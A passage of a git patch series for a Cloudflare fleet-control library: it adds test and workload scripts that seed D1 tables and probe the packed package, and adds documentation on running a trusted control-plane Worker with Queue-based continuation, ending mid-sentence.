byteContinuation.run.progress.stage, + byteContinuation.outcome.stage, + ); + assert.equal(byteContinuation.run.state, 'running'); + assert.equal(byteContinuation.pins, 1); + assert.equal( + byteContinuation.outcome.token.revision, + exact.result.outcome.token.revision + 1, + ); + assert.equal( + byteContinuation.run.progress.revision, + byteContinuation.outcome.token.revision, + ); + byteEvidence.abandonment = await abandon(bytesProfile); + byteEvidence.outcome = 'completed measured calls'; + evidence.fetchInvocations = invocations.size; + evidence.runtimeLogs = server.getLogs(); + process.stdout.write( + `fleet-control packed conditional workloads: ${JSON.stringify(evidence)}\n`, + ); + return evidence; + } catch (error) { + process.stdout.write( + `fleet-control packed conditional workload failure: ${JSON.stringify({ evidence, runtimeLogs: server.getLogs(), error: String(error) })}\n`, + ); + throw error; + } finally { + await server.close(); + } +} diff --git a/packages/fleet-control/scripts/control-plane-packed-workload.ts b/packages/fleet-control/scripts/control-plane-packed-workload.ts new file mode 100644 index 00000000..fda5d75d --- /dev/null +++ b/packages/fleet-control/scripts/control-plane-packed-workload.ts @@ -0,0 +1,699 @@ +// SPDX-License-Identifier: Apache-2.0 + +import type { + Crypto, + D1Database, + D1PreparedStatement, + D1Result, + ExportedHandler, + R2Bucket, + FixedLengthStream as WorkerFixedLengthStream, + Response as WorkerResponse, +} from '@cloudflare/workers-types'; +import { + type CloudflareDeploymentSpec, + createCloudflareControlPlane, + type FleetAuditAdvanceAction, + type FleetOperationToken, + type FleetRecord, +} from '@proofoftech/fleet-control/cloudflare-control-plane'; + +declare const crypto: Crypto; +declare const FixedLengthStream: typeof WorkerFixedLengthStream; +declare const Response: typeof WorkerResponse; + +interface Env { + FLEET_DB: D1Database; + QUOTA_DB: D1Database; + EXPORTS: R2Bucket; +} + +const PROFILES = { + representative: { count: 32, late: false, bytes: false, id: 1 }, + 'page-boundary': { count: 1001, late: true, bytes: false, id: 2 }, + 'record-ceiling': { count: 10000, late: true, bytes: false, id: 3 }, + 'intake-byte-boundary': { count: 200, late: false, bytes: true, id: 4 }, +} as const; +type Profile = keyof typeof PROFILES; +const NOW = Date.parse('2026-09-09T00:00:00.000Z'); +const FINDING = { + tenantTag: 'unknown', + environment: 'unknown', + kind: 'stale-route', + detail: 'packed workload observation', +}; +const OPTIONS = { + databaseNamePrefix: 'workload-', + scriptNamePrefix: 'workload-', + includeDispatchNamespace: false, + includeR2Buckets: false, +}; +const ROW_KINDS = [ + 'registration', + 'deployment', + 'finding', + 'database-id', + 'namespace-id', + 'r2-bucket', + 'route', + 'dispatch-script', + 'meta', +] as const; +const encoder = new TextEncoder(); + +function operationId(profile: Profile, variant = 0): string { + return `11111111-1111-4111-8111-${String(PROFILES[profile].id * 10 + variant).padStart(12, '0')}`; +} + +function record(profile: Profile, index: number): FleetRecord { + const tenantTag = `workload${index}`; + return { + tenantTag, + environment: 'production', + backend: 'plain-worker', + scriptName: `workload-${index}`, + databaseName: `workload-db-${index}`, + databaseId: `database-${index}`, + schemaVersion: 1, + artifactVersion: 'v1', + desiredSpecDigest: 'a'.repeat(64), + durableObjectBindings: [ + { + name: 'RUNNER', + className: 'Runner', + namespaceId: `namespace-${index}`, + }, + ], + routeHostname: `${tenantTag}.example.test`, + phase: + PROFILES[profile].late && index < PROFILES[profile].count - 1 + ? 'ready' + : 'worker-deployed', + updatedAt: new Date(NOW).toISOString(), + }; +} + +function specFor(value: FleetRecord): CloudflareDeploymentSpec { + return { + tenantTag: value.tenantTag, + environment: value.environment, + scriptName: value.scriptName, + databaseName: value.databaseName, + authoredBy: 'platform', + compatibilityDate: '2026-08-06', + mainModule: 'worker.js', + modules: [{ name: 'worker.js', content: 'export default {}' }], + schemaVersion: 1, + migrations: [], + durableObjectMigrations: [], + durableObjectBindings: [], + maintenanceBaseUrl: 'https://workload.example.test', + routeHostname: value.routeHostname, + }; +} + +function intake( + profile: Profile, + extraByte: boolean, + count: number = PROFILES[profile].count, +) { + const records = Array.from({ length: count }, (_, index) => + record(profile, index), + ); + if (PROFILES[profile].bytes) { + const target = 16 * 1024 * 1024 + Number(extraByte); + const share = Math.floor(target / records.length); + for (const [index, item] of records.entries()) { + const desired = share + Number(index < target % records.length); + const padding: Record = {}; + Object.assign(item, { padding }); + for (let key = 0; ; key += 1) { + const remaining = + desired - encoder.encode(JSON.stringify(item)).byteLength; + if (remaining === 0) break; + const name = `p${key}`; + const overhead = name.length + 5 + Number(key > 0); + if (remaining < overhead) + throw new Error('intake padding cannot reach target'); + let size = Math.min(4000, remaining - overhead); + const tail = remaining - overhead - size; + if (tail > 0 && tail < `p${key + 1}`.length + 6) size -= 16; + padding[name] = 'x'.repeat(size); + } + } + } + const sizes = records.map( + (item) => encoder.encode(JSON.stringify(item)).byteLength, + ); + return { + records, + bytes: sizes.reduce((sum, size) => sum + size, 0), + maximumItemBytes: Math.max(...sizes), + }; +} + +function observer(binding: D1Database) { + const metrics = { + calls: 0, + statements: 0, + returnedRows: 0, + inventoryRows: 0, + inventoryFacts: 0, + recordPages: 0, + recordRows: 0, + factPages: 0, + factRows: 0, + durationMs: 0, + rowsRead: 0, + rowsWritten: 0, + }; + const native = new WeakMap< + D1PreparedStatement, + { statement: D1PreparedStatement; sql: string; bindings: unknown[] } + >(); + function observe(sql: string, bindings: unknown[], result: D1Result) { + const count = result.results?.length ?? 0; + metrics.returnedRows += count; + metrics.durationMs += result.meta.duration ?? 0; + metrics.rowsRead += result.meta.rows_read ?? 0; + metrics.rowsWritten += result.meta.rows_written ?? 0; + if ( + sql.includes( + 'SELECT kind, ordinal, payload FROM anchorage_fleet_inventory_rows', + ) + ) + metrics.inventoryRows += count; + if ( + sql.includes( + 'SELECT deployment_ordinal, fact_kind, fact_ordinal, payload', + ) + ) + metrics.inventoryFacts += count; + if ( + sql.includes( + 'SELECT row_kind, ordinal, payload FROM anchorage_fleet_operation_rows', + ) + ) { + if (bindings[2] === 'record') { + metrics.recordPages += 1; + metrics.recordRows += count; + } + if (bindings[2] === 'fact') { + metrics.factPages += 1; + metrics.factRows += count; + } + } + } + function wrap( + statement: D1PreparedStatement, + sql: string, + bindings: unknown[] = [], + ): D1PreparedStatement { + const proxy = new Proxy(statement, { + get(target, key) { + if (key === 'bind') + return (...values: unknown[]) => + wrap(target.bind(...values), sql, values); + if (key === 'all' || key === 'run') + return async () => { + metrics.calls += 1; + metrics.statements += 1; + const result = await target[key](); + observe(sql, bindings, result); + return result; + }; + const value = Reflect.get(target, key, target); + return typeof value === 'function' ? value.bind(target) : value; + }, + }); + native.set(proxy, { statement, sql, bindings }); + return proxy; + } + const database = new Proxy(binding, { + get(target, key) { + if (key === 'prepare') + return (sql: string) => wrap(target.prepare(sql), sql); + if (key === 'batch') + return async (statements: D1PreparedStatement[]) => { + const entries = statements.map((statement) => { + const entry = native.get(statement); + if (!entry) throw new Error('unrecorded D1 statement'); + return entry; + }); + metrics.calls += 1; + metrics.statements += entries.length; + const result = await target.batch( + entries.map((entry) => entry.statement), + ); + result.forEach((value, index) => { + observe(entries[index].sql, entries[index].bindings, value); + }); + return result; + }; + const value = Reflect.get(target, key, target); + return typeof value === 'function' ? value.bind(target) : value; + }, + }); + return { database, metrics }; +} + +function controlPlane(env: Env, profile: Profile) { + const observed = observer(env.FLEET_DB); + let providerRequests = 0; + const refuse = async () => { + providerRequests += 1; + throw new Error('materialization workload must not call a provider'); + }; + const control = createCloudflareControlPlane({ + accountId: `workload-${profile}`, + apiToken: 'packed-inert-token', + fleetDatabase: observed.database, + quotaDatabase: env.QUOTA_DB, + quotaScope: `workload-${profile}`, + fetch: refuse, + maintenanceFetch: refuse, + databaseExports: { + bucket: env.EXPORTS, + bucketName: 'workload-exports', + streams: { DigestStream: crypto.DigestStream, FixedLengthStream }, + randomUUID: () => crypto.randomUUID(), + }, + leaseTtlMs: 120000, + leaseRenewalIntervalMs: 60000, + }); + return { + control, + metrics: observed.metrics, + providerRequests: () => providerRequests, + }; +} + +async function batch(db: D1Database, statements: D1PreparedStatement[]) { + for (let offset = 0; offset < statements.length; offset += 100) + await db.batch(statements.slice(offset, offset + 100)); +} + +async function digest(entries: Iterable): Promise { + const stream = new crypto.DigestStream('SHA-256'); + const writer = stream.getWriter(); + for (const entry of entries) await writer.write(encoder.encode(entry)); + await writer.close(); + return Array.from(new Uint8Array(await stream.digest), (value) => + value.toString(16).padStart(2, '0'), + ).join(''); +} + +async function generationRecord( + profile: Profile, + state: 'staging' | 'finalized', +) { + const count = PROFILES[profile].count; + const counts = Object.fromEntries(ROW_KINDS.map((kind) => [kind, 0])); + Object.assign(counts, { + deployment: count * 2, + finding: 1, + 'database-id': count, + 'namespace-id': count, + route: PROFILES[profile].late ? count - 1 : 0, + }); + return { + version: 1, + operationId: operationId(profile, 1), + optionsDigest: await digest([ + JSON.stringify( + Object.entries(OPTIONS).sort(([a], [b]) => (a < b ? -1 : 1)), + ), + ]), + options: OPTIONS, + state, + updatedAt: new Date(NOW).toISOString(), + progress: { + stage: { step: 'finalize' }, + generation: 1, + revision: 1, + stagedCounts: counts, + factCount: count * 4, + providerRequests: 0, + }, + }; +} + +async function seedGeneration(env: Env, profile: Profile, offset: number) { + const account = `workload-${profile}`; + const db = env.FLEET_DB; + const count = PROFILES[profile].count; + if ( + !Number.isSafeInteger(offset) || + offset < 0 || + offset >= count || + offset % 100 !== 0 + ) + throw new Error('invalid seed offset'); + if (offset === 0) { + const { control } = controlPlane(env, profile); + await control.latestFinalizedInventoryGeneration(); + await control.pruneFleetOperations({ kind: 'audit', limit: 1 }); + const run = await generationRecord(profile, 'staging'); + await db.batch([ + db + .prepare( + 'INSERT INTO anchorage_fleet_inventory_heads VALUES (?, ?, NULL, 2)', + ) + .bind(account, run.operationId), + db + .prepare( + 'INSERT INTO anchorage_fleet_inventory_runs VALUES (?, ?, 1, ?, ?, ?, NULL)', + ) + .bind( + run.operationId, + account, + run.optionsDigest, + JSON.stringify(run), + NOW, + ), + db + .prepare( + 'INSERT INTO anchorage_fleet_inventory_rows VALUES (?, 1, ?, 0, ?)', + ) + .bind( + account, + 'finding', + JSON.stringify({ record: 'finding', ...FINDING }), + ), + ]); + } + const statements: D1PreparedStatement[] = []; + const row = (kind: string, ordinal: number, payload: unknown) => + statements.push( + db + .prepare( + 'INSERT INTO anchorage_fleet_inventory_rows VALUES (?, 1, ?, ?, ?)', + ) + .bind(account, kind, ordinal, JSON.stringify(payload)), + ); + for (let index = offset; index < Math.min(count, offset + 100); index += 1) { + const value = record(profile, index); + row('deployment', index, { + record: 'candidate-script', + scriptName: value.scriptName, + }); + row('deployment', count + index, { + record: 'deployment', + backend: 'plain-worker', + scriptName: value.scriptName, + tenantTag: value.tenantTag, + environment: value.environment, + artifactVersion: value.artifactVersion, + schemaVersion: 1, + }); + row('database-id', index, { + record: 'database-id', + databaseId: value.databaseId, + }); + row('namespace-id', index, { + record: 'namespace-id', + namespaceId: `namespace-${index}`, + }); + if (value.phase === 'ready') + row('route', index, { + record: 'route', + backend: 'plain-worker', + hostname: value.routeHostname, + scriptName: value.scriptName, + tenantTag: value.tenantTag, + environment: value.environment, + }); + for (const [kind, payload] of [ + ['database-id', { databaseId: value.databaseId }], + ['durable-object-binding', value.durableObjectBindings[0]], + ['secret-name', { secretName: `secret-${index}` }], + ['route-hostname', { hostname: value.routeHostname }], + ] as const) + statements.push( + db + .prepare( + 'INSERT INTO anchorage_fleet_inventory_deployment_facts VALUES (?, 1, ?, ?, 0, ?)', + ) + .bind(account, count + index, kind, JSON.stringify(payload)), + ); + } + await batch(db, statements); + const next = Math.min(count, offset + 100); + if (next === count) { + const run = await generationRecord(profile, 'finalized'); + const physical = await db + .prepare( + 'SELECT kind, COUNT(*) AS count, MIN(ordinal) AS first, MAX(ordinal) AS last FROM anchorage_fleet_inventory_rows WHERE account_id = ? AND generation = 1 GROUP BY kind', + ) + .bind(account) + .all<{ kind: string; count: number; first: number; last: number }>(); + for (const kind of ROW_KINDS) { + const actual = physical.results.find((entry) => entry.kind === kind); + const expected = run.progress.stagedCounts[kind]; + if ( + (actual?.count ?? 0) !== expected || + (expected > 0 && (actual?.first !== 0 || actual?.last !== expected - 1)) + ) + throw new Error('seed row manifest mismatch'); + } + const factCount = await db + .prepare( + 'SELECT COUNT(*) AS count FROM anchorage_fleet_inventory_deployment_facts WHERE account_id = ? AND generation = 1', + ) + .bind(account) + .first('count'); + if (factCount !== run.progress.factCount) + throw new Error('seed fact manifest mismatch'); + await db.batch([ + db + .prepare( + 'UPDATE anchorage_fleet_inventory_runs SET run_record = ?, finalized_at_ms = ? WHERE operation_id = ? AND account_id = ?', + ) + .bind(JSON.stringify(run), NOW, run.operationId, account), + db + .prepare( + 'UPDATE anchorage_fleet_inventory_heads SET active_operation_id = NULL, latest_finalized_generation = 1 WHERE account_id = ?', + ) + .bind(account), + ]); + const payloads = await db + .prepare( + 'SELECT COUNT(*) AS entries, SUM(length(CAST(payload AS BLOB))) AS payloadBytes, MAX(length(CAST(payload AS BLOB))) AS maximumPayloadBytes FROM (SELECT payload FROM anchorage_fleet_inventory_rows WHERE account_id = ? AND generation = 1 UNION ALL SELECT payload FROM anchorage_fleet_inventory_deployment_facts WHERE account_id = ? AND generation = 1)', + ) + .bind(account, account) + .first(); + return { + next, + done: true, + summary: { rowManifest: run.progress.stagedCounts, factCount, payloads }, + }; + } + return { next, done: false }; +} + +async function seedPriorFacts(env: Env, profile: Profile, offset: number) { + const count = PROFILES[profile].count - 1; + if ( + !PROFILES[profile].late || + !Number.isSafeInteger(offset) || + offset < 0 || + offset >= count || + offset % 100 !== 0 + ) + throw new Error('invalid fact seed offset'); + const account = `workload-${profile}`; + const id = operationId(profile); + const statements: D1PreparedStatement[] = []; + for (let index = offset; index < Math.min(count, offset + 100); index += 1) { + const value = record(profile, index); + for (const [ordinal, factKind, key] of [ + [2 * index, 'database-owner', value.databaseId], + [2 * index + 1, 'namespace-owner', `namespace-${index}`], + ] as const) + statements.push( + env.FLEET_DB.prepare( + 'INSERT INTO anchorage_fleet_operation_rows VALUES (?, ?, ?, ?, ?)', + ).bind( + account, + id, + 'fact', + ordinal, + JSON.stringify({ + factKind, + key, + tenantTag: value.tenantTag, + environment: value.environment, + }), + ), + ); + } + await batch(env.FLEET_DB, statements); + const next = Math.min(count, offset + 100); + if (next === count) { + const stored = await env.FLEET_DB.prepare( + 'SELECT op_record FROM anchorage_fleet_operations WHERE account_id = ? AND operation_id = ?', + ) + .bind(account, id) + .first('op_record'); + if (!stored) throw new Error('missing seeded operation'); + const run = JSON.parse(stored); + run.progress.stage = { step: 'per-record', recordOrdinal: count }; + run.progress.revision += 1; + run.progress.findingCount = 1; + run.progress.factCount = count * 2; + await env.FLEET_DB.batch([ + env.FLEET_DB.prepare( + 'INSERT INTO anchorage_fleet_operation_rows VALUES (?, ?, ?, 0, ?)', + ).bind(account, id, 'finding', JSON.stringify(FINDING)), + env.FLEET_DB.prepare( + 'UPDATE anchorage_fleet_operations SET op_record = ? WHERE account_id = ? AND operation_id = ?', + ).bind(JSON.stringify(run), account, id), + ]); + return { + next, + done: true, + token: { + version: 1, + operationId: id, + revision: run.progress.revision, + } satisfies FleetOperationToken, + }; + } + return { next, done: false }; +} + +async function readback(env: Env, profile: Profile, id: string) { + const row = await env.FLEET_DB.prepare( + 'SELECT op_record FROM anchorage_fleet_operations WHERE account_id = ? AND operation_id = ?', + ) + .bind(`workload-${profile}`, id) + .first('op_record'); + const pins = await env.FLEET_DB.prepare( + 'SELECT COUNT(*) AS count FROM anchorage_fleet_inventory_pins WHERE account_id = ? AND pinned_by = ?', + ) + .bind(`workload-${profile}`, `fleet-audit:${id}`) + .first('count'); + return { run: row ? JSON.parse(row) : null, pins }; +} + +export default { + async fetch(request, env) { + const input = (await request.json()) as { + profile: Profile; + action: string; + offset?: number; + token?: unknown; + variant?: number; + over?: boolean; + }; + const invocationId = crypto.randomUUID(); + try { + if (!Object.hasOwn(PROFILES, input.profile)) + throw new Error('unknown workload profile'); + const profile = input.profile; + if (input.action === 'seed-generation') + return Response.json({ + invocationId, + result: await seedGeneration(env, profile, input.offset ?? 0), + }); + if (input.action === 'seed-facts') + return Response.json({ + invocationId, + result: await seedPriorFacts(env, profile, input.offset ?? 0), + }); + const { control, metrics, providerRequests } = controlPlane(env, profile); + const id = operationId(profile, input.variant ?? 0); + let result: unknown; + if (input.action === 'read') { + const inventory = await control.readFleetInventoryGeneration(1); + function* identities() { + for (const value of inventory.deployments) + yield `${value.tenantTag}\0${value.scriptName}\0${value.databaseIds[0]}\0${value.durableObjectBindings[0]?.namespaceId}\n`; + } + result = { + deployments: inventory.deployments.length, + databases: inventory.databaseIds.length, + namespaces: inventory.namespaceIds.length, + routes: inventory.routes.length, + findings: inventory.findings, + identityDigest: await digest(identities()), + }; + } else if (input.action === 'start' || input.action === 'continue') { + const data = + input.action === 'start' + ? intake( + profile, + input.over ?? false, + input.variant === 2 ? 1 : PROFILES[profile].count, + ) + : undefined; + const action: FleetAuditAdvanceAction = data + ? { + kind: 'start', + operationId: id, + records: data.records, + generation: 1, + staleAfterMs: 3600000, + } + : { kind: 'continue', token: input.token }; + const outcome = await control.advanceFleetAudit({ + action, + specFor, + maintenanceSecretFor: () => 'inert-secret', + maxItemsPerCall: 500, + auditClock: () => NOW, + }); + result = { + outcome, + ...(data + ? { + intake: { + count: data.records.length, + bytes: data.bytes, + maximumItemBytes: data.maximumItemBytes, + }, + } + : {}), + ...(await readback(env, profile, id)), + }; + } else if (input.action === 'abandon') { + await control.abandonFleetAuditOperation(id); + result = await readback(env, profile, id); + } else if (input.action === 'findings') { + result = { + page: await control.readFleetAuditFindingsPage({ + operationId: id, + limit: 100, + }), + ...(await readback(env, profile, id)), + }; + } else if (input.action === 'corrupt') { + await env.FLEET_DB.prepare( + 'DELETE FROM anchorage_fleet_inventory_deployment_facts WHERE account_id = ? AND generation = 1 AND deployment_ordinal = ? AND fact_kind = ?', + ) + .bind(`workload-${profile}`, PROFILES[profile].count, 'secret-name') + .run(); + result = { corrupted: true }; + } else if (input.action === 'state') + result = await readback(env, profile, id); + else throw new Error('unknown workload action'); + return Response.json({ + invocationId, + result, + metrics, + providerRequests: providerRequests(), + }); + } catch (error) { + return Response.json( + { + invocationId, + error: { + name: error instanceof Error ? error.name : 'Error', + message: error instanceof Error ? error.message : String(error), + }, + }, + { status: 500 }, + ); + } + }, +} satisfies ExportedHandler; diff --git a/packages/fleet-control/scripts/packed-consumer-test.mjs b/packages/fleet-control/scripts/packed-consumer-test.mjs index 6f15217a..67d74ec2 100644 --- a/packages/fleet-control/scripts/packed-consumer-test.mjs +++ b/packages/fleet-control/scripts/packed-consumer-test.mjs @@ -1,15 +1,5 @@ // SPDX-License-Identifier: Apache-2.0 -// -// Publishing gate for @proofoftech/fleet-control, matching the breakwater and -// flowsafe packed-consumer tests. This package has four export entries, three -// of which are Workers entry points that no in-repo consumer imports through -// the package boundary, so `pnpm build` proves nothing about whether the -// published export map resolves. This packs the real tarball and consumes it. -// -// It runs publint --strict and attw --profile esm-only over the tarball, then -// typechecks and executes a consumer that reaches every export entry, so a -// missing dist file, a stale exports key, or a workspace: specifier that -// survived packing fails here rather than on the registry. + import assert from 'node:assert/strict'; import { execFileSync } from 'node:child_process'; import { @@ -25,12 +15,17 @@ import { createRequire } from 'node:module'; import { tmpdir } from 'node:os'; import { dirname, join, resolve } from 'node:path'; import { fileURLToPath } from 'node:url'; +import { verifyControlPlanePackedBundle } from './control-plane-packed-bundle.mjs'; +import { verifyControlPlanePackedRuntime } from './control-plane-packed-runtime.mjs'; +import { verifyControlPlanePackedSurface } from './control-plane-packed-surface.mjs'; +import { verifyControlPlanePackedWorkload } from './control-plane-packed-workload.mjs'; const packageRoot = resolve(dirname(fileURLToPath(import.meta.url)), '..'); const workspaceRoot = resolve(packageRoot, '../..'); const temporaryRoot = await mkdtemp( join(tmpdir(), 'fleet-control-packed-consumer-'), ); +const lockfileBefore = await readFile(join(workspaceRoot, 'pnpm-lock.yaml')); function run(command, args, options = {}) { execFileSync(command, args, { @@ -96,6 +91,37 @@ try { const manifest = JSON.parse( await readFile(join(packedPackageRoot, 'package.json'), 'utf8'), ); + assert.deepEqual(manifest.exports, { + '.': { types: './dist/index.d.ts', default: './dist/index.js' }, + './cloudflare-control-plane': { + types: './dist/cloudflare-control-plane.d.ts', + default: './dist/cloudflare-control-plane.js', + }, + './workers/dispatch': { + types: './dist/workers/dispatch.d.ts', + default: './dist/workers/dispatch.js', + }, + './workers/outbound': { + types: './dist/workers/outbound.d.ts', + default: './dist/workers/outbound.js', + }, + './workers/audit-consumer': { + types: './dist/workers/audit-consumer.d.ts', + default: './dist/workers/audit-consumer.js', + }, + './package.json': './package.json', + }); + assert.deepEqual(manifest.peerDependencies, { + '@cloudflare/workers-types': '>=5.20260730.1 <6', + }); + assert.equal( + manifest.peerDependenciesMeta?.['@cloudflare/workers-types']?.optional, + undefined, + ); + assert.equal( + manifest.devDependencies['@cloudflare/workers-types'], + '5.20260905.1', + ); // Unscoped, this name would be squattable, and a granular token scoped to // @proofoftech would 403 at publish time. @@ -144,6 +170,10 @@ try { '@proofoftech/fleet-control': `file:${tarball}`, '@proofoftech/flowsafe': `link:${flowsafeDirectory}`, }, + devDependencies: { + '@cloudflare/workers-types': + manifest.devDependencies['@cloudflare/workers-types'], + }, }, null, 2, @@ -156,7 +186,7 @@ try { // whole window between the version bump and the release publishing. await writeFile( join(consumerDirectory, 'pnpm-workspace.yaml'), - `minimumReleaseAge: 10080\npackages:\n - "."\noverrides:\n "@proofoftech/flowsafe": ${JSON.stringify( + `minimumReleaseAge: 10080\nminimumReleaseAgeExclude:\n - "@cloudflare/workers-types@5.20260905.1"\npackages:\n - "."\noverrides:\n "@proofoftech/flowsafe": ${JSON.stringify( `link:${flowsafeDirectory}`, )}\n`, ); @@ -1151,9 +1181,23 @@ assert.ok(new WorkersForPlatformsBackend(complete)); cwd: consumerDirectory, }); run(process.execPath, ['runtime.mjs'], { cwd: consumerDirectory }); + await verifyControlPlanePackedSurface({ consumerDirectory, packageRoot }); + run(process.execPath, [ + '--test', + join(packageRoot, 'scripts/control-plane-packed-surface.test.mjs'), + join(packageRoot, 'scripts/control-plane-packed-bundle.test.mjs'), + ]); + await verifyControlPlanePackedBundle({ consumerDirectory, packageRoot }); + await verifyControlPlanePackedRuntime({ consumerDirectory, packageRoot }); + await verifyControlPlanePackedWorkload({ consumerDirectory, packageRoot }); + assert.deepEqual( + await readFile(join(workspaceRoot, 'pnpm-lock.yaml')), + lockfileBefore, + 'packed consumer verification must preserve the workspace resolution', + ); process.stdout.write( - 'fleet-control packed consumer: manifest, all four export entries, types, and the fail-closed constructor passed\n', + 'fleet-control packed consumer: package exports, strict Worker types, bundle checks and Worker runtime probes passed\n', ); } finally { await rm(temporaryRoot, { recursive: true, force: true }); diff --git a/packages/fleet-control/typedoc.json b/packages/fleet-control/typedoc.json index 61d270f5..b15499c2 100644 --- a/packages/fleet-control/typedoc.json +++ b/packages/fleet-control/typedoc.json @@ -2,6 +2,7 @@ "$schema": "https://typedoc.org/schema.json", "entryPoints": [ "src/index.ts", + "src/cloudflare-control-plane.ts", "src/workers/dispatch.ts", "src/workers/outbound.ts", "src/workers/audit-consumer.ts" From 806512e764acb0721e32bb3c6ab498777e3b332e Mon Sep 17 00:00:00 2001 From: gcharang <21151592+gcharang@users.noreply.github.com> Date: Wed, 9 Sep 2026 15:36:55 +0400 Subject: [PATCH 104/169] docs(fleet-control): document dedicated Worker operations --- docs/deployment-reference.md | 4 +- docs/fleet-control.md | 119 ++++++++++++++++++++++++++++++- docs/security-threat-model.md | 14 ++++ packages/fleet-control/README.md | 2 +- 4 files changed, 135 insertions(+), 4 deletions(-) diff --git a/docs/deployment-reference.md b/docs/deployment-reference.md index 367fe7c0..76f0980c 100644 --- a/docs/deployment-reference.md +++ b/docs/deployment-reference.md @@ -2,6 +2,8 @@ Anchorage is a library, not a hosted control plane. Deploy one uniquely named Worker, D1 database, and set of Durable Object namespaces for each organization. The Worker script name is the Durable Object namespace boundary: replace the template's `replace-me` segment with the deployment tag and never reuse that script name for another organization. You also own optional R2 and Queue resources, the identity verifier, policies, maintenance schedules, and the provisioning system that keeps every resource set one-to-one. +This reference configures the tenant application Worker. Run account-level Fleet operations in a separate [trusted control-plane Worker](fleet-control.md#run-the-trusted-control-plane-in-a-worker). Keep its provider token, Fleet/quota databases, and export bucket out of these tenant bindings. + Choose one starting point: | Starting point | Use it for | @@ -13,7 +15,7 @@ The baseline is intentionally smaller. Advanced features are supported and opt-i ## Cloudflare compatibility -Use the Worker runtime with `nodejs_compat`, D1, and SQLite-backed Durable Objects. Treat Durable Object migration tags as append-only. Add a new migration tag when introducing the hub, thread, or provider-host class; never edit an already deployed tag. +Use the Worker runtime with `nodejs_compat`, D1, and SQLite-backed Durable Objects. These settings belong to the tenant templates; the [Fleet host has its own runtime configuration](fleet-control.md#size-the-worker-for-its-workload). Treat Durable Object migration tags as append-only. Add a new migration tag when introducing the hub, thread, or provider-host class; never edit an already deployed tag. The checked-in configurations pin a compatibility date that the repository verifies. Review Cloudflare release notes before changing it. diff --git a/docs/fleet-control.md b/docs/fleet-control.md index aa991724..c5aaaaf7 100644 --- a/docs/fleet-control.md +++ b/docs/fleet-control.md @@ -22,9 +22,124 @@ All backends implement the same ordered `ProvisioningBackend` contract: The plain backend rejects external artifacts before creating a resource. Switch to Workers for Platforms before you run the first customer-authored artifact. Set `routeHostname` to the customer-facing custom domain. For plain Workers, set `maintenanceBaseUrl` to the distinct Workers control origin; for Workers for Platforms, set it to the control-plane dispatcher origin. Fleet state reserves the route before any Worker can publish it. +## Run the trusted control plane in a Worker + +Import `createCloudflareControlPlane` from `@proofoftech/fleet-control/cloudflare-control-plane` in a dedicated trusted Worker. The factory constructs the ordinary backend and durable stores from your bindings. Your host authorizes requested operations and resolves their specifications and credentials. Keep this Worker separate from tenant application Workers. + +### Bind durable state and provider credentials + +Use native D1 bindings for Fleet state and shared provider-quota reservations, plus a private R2 bucket for database exports. Replicas sharing a provider quota must use the same quota database and nonsecret scope. Preserve export bucket identity and receipt authority while operations remain active. + +These example environment names belong to the host: + +| Host value | Factory input | +| --- | --- | +| `FLEET_DB` D1 binding | `fleetDatabase` | +| `QUOTA_DB` D1 binding | `quotaDatabase` | +| `EXPORTS` R2 binding | `databaseExports.bucket` | +| `CLOUDFLARE_ACCOUNT_ID` variable | `accountId` | +| `CLOUDFLARE_API_TOKEN` secret | `apiToken` | +| `CLOUDFLARE_QUOTA_SCOPE` variable | `quotaScope` | +| `EXPORT_BUCKET_NAME` variable | `databaseExports.bucketName` | + +Set the nonsecret variables in your Worker configuration. Configure the provider token through [Workers secrets](https://developers.cloudflare.com/workers/configuration/secrets/), using the permissions in the [direct backend threat model](security-threat-model.md#direct-cloudflare-api-backend). Never put the token in checked-in variables, Queue messages, or tenant bindings. Keep the export bucket private through its R2 access configuration. + +This configuration fragment binds a Queue consumer and its continuation producer. Replace the resource identifiers with your dedicated control-plane resources: + +```jsonc +{ + "name": "fleet-control", + "main": "src/index.ts", + "compatibility_date": "2026-08-06", + "workers_dev": false, + "preview_urls": false, + "d1_databases": [ + { "binding": "FLEET_DB", "database_id": "your_fleet_database_id" }, + { "binding": "QUOTA_DB", "database_id": "your_quota_database_id" } + ], + "r2_buckets": [ + { "binding": "EXPORTS", "bucket_name": "fleet-exports" } + ], + "queues": { + "producers": [{ "binding": "CONTROL_QUEUE", "queue": "fleet-jobs" }], + "consumers": [{ "queue": "fleet-jobs", "max_batch_size": 1 }] + } +} +``` + +`max_batch_size: 1` is an example scheduling choice. Set retry, concurrency, and dead-letter handling for your workload; see the [Wrangler configuration reference](https://developers.cloudflare.com/workers/wrangler/configuration/). Disabling workers.dev and preview URLs does not authenticate a management endpoint. If you expose one, authenticate and authorize its callers before invoking Fleet. + +The required type peer is `@cloudflare/workers-types >=5.20260730.1 <6`; this repository verifies `5.20260905.1`. Import the factory at module scope: + +```typescript +import { createCloudflareControlPlane } from + '@proofoftech/fleet-control/cloudflare-control-plane'; +``` + +Inside the event handler, construct it from the host's typed `env`: + +```typescript +const control = createCloudflareControlPlane({ + accountId: env.CLOUDFLARE_ACCOUNT_ID, + apiToken: env.CLOUDFLARE_API_TOKEN, + fleetDatabase: env.FLEET_DB, + quotaDatabase: env.QUOTA_DB, + quotaScope: env.CLOUDFLARE_QUOTA_SCOPE, + databaseExports: { + bucket: env.EXPORTS, + bucketName: env.EXPORT_BUCKET_NAME, + streams: { DigestStream: crypto.DigestStream, FixedLengthStream }, + randomUUID: () => crypto.randomUUID(), + }, +}); +``` + +The Queue binding and any management authentication secret belong to your handler. They are not factory options. Continuation tokens identify work to compare against Fleet D1; the factory has no token-signing secret. + +### Advance work before acknowledging delivery + +Cloudflare Queues can deliver messages more than once and out of order. Keep specifications, secrets, account selection, and provider configuration in trusted host state. Queue payloads carry operation claims and returned continuation tokens. See [delivery guarantees](https://developers.cloudflare.com/queues/reference/delivery-guarantees/) and [Queue ordering](https://developers.cloudflare.com/queues/reference/how-queues-works/). + +For a consumer-owned continuation handler: + +1. Authorize the job and resolve its trusted inputs. Invoke the appropriate factory advance using the existing action and token types. +2. For `pending`, await sending the returned continuation claim before acknowledging the input message. If sending fails, retry the input. A crash after send and before acknowledgement can produce duplicate claims. +3. For `complete`, handle the durable result before acknowledging. Retain receipt-backed results according to their lifecycle. +4. For `blocked`, record the cleanup or decommission result for remediation and retain its returned token before acknowledging. After remediation, submit an authorized `restart-blocked` action with the current token. Do not automatically continue or restart blocked work. +5. For terminal `failed`, report the durable failure through your job-status or failure policy before acknowledging or dead-lettering. A resolved call does not imply success. Do not endlessly enqueue the same failed token. +6. Retry thrown transient failures and lease contention under your consumer 